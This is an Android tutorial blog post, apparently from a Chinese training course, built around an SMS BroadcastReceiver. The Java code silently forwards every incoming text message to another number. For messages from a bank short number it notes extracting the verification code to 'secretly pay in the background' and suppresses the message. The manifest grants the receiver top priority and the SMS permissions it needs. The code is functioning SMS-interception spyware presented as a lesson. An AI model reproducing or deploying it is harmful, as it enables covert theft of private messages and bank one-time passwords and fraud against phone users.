zoukankan      html  css  js  c++  java
  • Android(java)学习笔记119:BroadcastReceiver之 短信发送的广播接收者

    有时候,我们需要开发出来一个短信监听器,监听用户发送的短信记录,下面就是一个案例,这里同样需要使用广播机制

    下面同样是代码示例,MainActivity.java 和  activity_main.xml这里不做什么编程操作

    1.第一步,还是老样子,我们需要买一个收音机

    package com.itheima.smslistener;
    
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.telephony.SmsManager;
    import android.telephony.SmsMessage;
    
    public class SmsListener extends BroadcastReceiver {
        @Override
        public void onReceive(Context context, Intent intent) {
            System.out.println("短信到来了。");
            //objs里面存放的就是一组短信
            Object[] objs = (Object[]) intent.getExtras().get("pdus");
            for(Object obj:objs){
                //得到每一条短信数据
                SmsMessage  smsMessage = SmsMessage.createFromPdu((byte[]) obj);
                String body =  smsMessage.getMessageBody();
                String address = smsMessage.getOriginatingAddress();
                System.out.println(body);
                System.out.println(address);
    //将获取短信数据(address+"--"+body)发送到5556手机(这里是模拟器),sendTextMessage()方法最后两个参数为null,表示没有发送和接收短信通知 SmsManager smsManager
    = SmsManager.getDefault(); smsManager.sendTextMessage("5556", null, address+"--"+body, null, null); if(address.equals("95533")){ System.out.println("提取验证码,偷偷的后台支付"); abortBroadcast(); } } } }

    2.第二步和第三步是:装电池  调频道:

    <?xml version="1.0" encoding="utf-8"?>
    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
        package="com.itheima.smslistener"
        android:versionCode="1"
        android:versionName="1.0" >
    
        <uses-sdk
            android:minSdkVersion="8"
            android:targetSdkVersion="17" />
        <uses-permission android:name="android.permission.RECEIVE_SMS"/>
        <uses-permission android:name="android.permission.SEND_SMS"/>
    
        <application
            android:allowBackup="true"
            android:icon="@drawable/ic_launcher"
            android:label="@string/app_name"
            android:theme="@style/AppTheme" >
            <activity
                android:name="com.itheima.smslistener.MainActivity"
                android:label="@string/app_name" >
                <intent-filter>
                    <action android:name="android.intent.action.MAIN" />
    
                    <category android:name="android.intent.category.LAUNCHER" />
                </intent-filter>
            </activity>
    
            <receiver android:name="com.itheima.smslistener.SmsListener" >
                <intent-filter android:priority="1000">
                    <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                </intent-filter>
            </receiver>

    </application> </manifest>

     

  • 相关阅读:
    19.1.30 [LeetCode 24] Swap Nodes in Pairs
    19.1.29 [LeetCode 23] Merge k Sorted Lists
    06_Python异常处理机制
    05_Python的文件操作
    04_Python中的35个关键字
    03_Python基础语法
    02_Python开发环境使用和PDB调试
    01_Python基础知识梳理
    socket post
    python_socket_cmd
  • 原文地址:https://www.cnblogs.com/hebao0514/p/4741897.html
Copyright © 2011-2022 走看看